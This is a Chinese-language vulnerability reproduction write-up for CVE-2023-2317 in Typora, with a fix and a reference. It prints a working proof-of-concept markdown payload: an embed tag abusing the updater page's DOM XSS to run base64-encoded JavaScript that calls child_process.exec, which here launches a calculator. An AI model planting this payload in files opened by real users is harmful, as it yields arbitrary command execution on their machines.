Typora 远程代码执行-CVE-2023-2317

1.产品简介

Typora是一款功能强大且易于使用的笔记软件,它旨在为用户提供简洁、无干扰的写作和阅读体验。
Typora支持多种常用的标记语言,如Markdown、AsciiDoc等。Markdown是一种轻量级标记语言,被广泛用于写作、编写文档和博客等场景。Typora内置了对Markdown的完整支持,使得你可以使用Markdown语法快速创建标题、列表、链接、表格等各种格式,并能够实时预览最终的渲染效果。

2.漏洞概述

1.6.7版本以前的Typora中的updater/update.html中存在DOM型XSS,该漏洞允许通过加载特制md文件从而执行js代码。攻击者可以通过构造恶意md文件,其中包含引用update.html的<embed>标签,使用特权接口reqnode访问节点模块child_process从而执行任意系统命令。

3.影响范围

Typora版本 < 1.6.7

4.复现过程

复现环境:
Typora 版本 1.3.8

reqnode特权接口调用访问child_process执行系统命令

reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

base64加密

cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ==

构造POC

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

新建md文件
将POC粘贴其中
成功执行命令

5.修复方案

更新Typora版本至1.6.7及以上

6.参考文章

https://mp.weixin.qq.com/s/hMMqhVxx8YBokNrSM-__fQ -信安404